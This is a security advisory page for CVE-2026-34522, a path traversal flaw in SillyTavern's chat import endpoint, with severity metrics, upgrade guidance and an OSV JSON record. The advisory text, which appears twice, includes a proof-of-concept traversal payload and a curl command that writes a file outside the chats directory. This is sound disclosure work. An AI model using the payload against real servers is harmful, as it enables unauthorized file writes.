CVE-2026-34522: Sillytavern Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-xvww-xhx6-22pf
CVSS 8.1
CWE-73 CWE-22
Published
Advisory Summary

CVE-2026-34522 is a HIGH (CVSS 8.1) path traversal vulnerability (CWE-73: External Control of File Name or Path) affecting Sillytavern libraries in the npm ecosystem. The issue involves sillytavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory. Remediation is available by upgrading affected packages to version 1.17.0.

CVE-2026-34522 at a Glance

CVE Identifier CVE-2026-34522
GHSA Identifier GHSA-xvww-xhx6-22pf
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Sillytavern
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-34522

To remediate this vulnerability, upgrade all affected Sillytavern dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

sillytavern fixed: 1.17.0
npm install sillytavern@1.17.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls sillytavern

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-34522, inspect your project dependencies using npm:

npm ls sillytavern

Analyze the terminal output to locate any version of Sillytavern in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.17.0), your application is affected.

Note: The npm ls sillytavern command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Sillytavern, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`. ### Details `character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization. Evidence: - Import handler entrypoint: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686> - Unsanitized `character_name` used in output filename: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723> - Same write pattern in JSONL import branch: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766> - Endpoint auth context (authenticated user access): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239> Example payload: - `character_name=../../../../tmp/st_poc` This causes the final destination path to escape from `<user>/chats/<avatar>/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account). ### PoC Prerequisites: - Valid authenticated session cookie (`cookie.txt`) - Valid CSRF token (`$TOKEN`) Prepare payload: ```bash printf '{"user_name":"u","chat_metadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonl ``` Trigger arbitrary write: ```bash curl -b cookie.txt -H "x-csrf-token: $TOKEN" \ -F "avatar=@/tmp/poc.jsonl" \ -F "file_type=jsonl" \ -F "avatar_url=a.png" \ -F "character_name=../../../../tmp/st_poc" \ -F "user_name=u" \ http://TARGET:8000/api/chats/import ``` Observed result: - A file is created outside chats directory, for example: `/tmp/st_poc - <timestamp> imported.jsonl` ### Impact - Integrity: attacker can create files in unintended filesystem locations. - Availability: can be used for disk abuse and disruptive file placement. - Can become more severe when chained with other local processing behaviors. ### Resolution The issue was addressed in version 1.17.0

CVE-2026-34522 Affected Sillytavern Versions

1 component(s)
Fixed Versions:
1.17.0
Product / Package Ecosystem Affected Versions Fixed Version
sillytavern
npm
< 1.17.0
1.17.0

References

Frequently Asked Questions

What is CVE-2026-34522?
CVE-2026-34522 is a security vulnerability in Sillytavern involving SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory under CWE-73: External Control of File Name or Path.
Which Sillytavern versions are affected?
Affected versions include releases prior to 1.17.0 across affected packages: sillytavern.
What version fixes CVE-2026-34522?
Upgrading to 1.17.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is sillytavern affected?
Yes, sillytavern is affected in releases prior to 1.17.0. Upgrade your dependency to 1.17.0 or later.
What is the CVSS score of CVE-2026-34522?
CVE-2026-34522 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-34522?
CVE-2026-34522 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check npm dependencies for CVE-2026-34522?
Run the dependency tree command: 'npm ls sillytavern'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xvww-xhx6-22pf",
  "modified" : "2026-04-06T17:24:54Z",
  "published" : "2026-04-01T21:36:40Z",
  "aliases" : [ "CVE-2026-34522" ],
  "summary" : "SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory",
  "details" : "### Summary\nA path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`.\n\n### Details\n`character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization.\n\nEvidence:\n- Import handler entrypoint:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686>\n- Unsanitized `character_name` used in output filename:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723>\n- Same write pattern in JSONL import branch:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766>\n- Endpoint auth context (authenticated user access):  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>\n\nExample payload:\n- `character_name=../../../../tmp/st_poc`\n\nThis causes the final destination path to escape from `<user>/chats/<avatar>/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account).\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nPrepare payload:\n\n```bash\nprintf '{\"user_name\":\"u\",\"chat_metadata\":{}}\\n{\"name\":\"u\",\"mes\":\"owned\"}\\n' >/tmp/poc.jsonl\n```\n\nTrigger arbitrary write:\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" \\\n  -F \"avatar=@/tmp/poc.jsonl\" \\\n  -F \"file_type=jsonl\" \\\n  -F \"avatar_url=a.png\" \\\n  -F \"character_name=../../../../tmp/st_poc\" \\\n  -F \"user_name=u\" \\\n  http://TARGET:8000/api/chats/import\n```\n\nObserved result:\n- A file is created outside chats directory, for example:  \n  `/tmp/st_poc - <timestamp> imported.jsonl`\n\n### Impact\n- Integrity: attacker can create files in unintended filesystem locations.\n- Availability: can be used for disk abuse and disruptive file placement.\n- Can become more severe when chained with other local processing behaviors.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "sillytavern"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.17.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.16.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34522"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SillyTavern/SillyTavern"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T21:36:40Z",
    "nvd_published_at" : "2026-04-02T18:16:29Z"
  }
}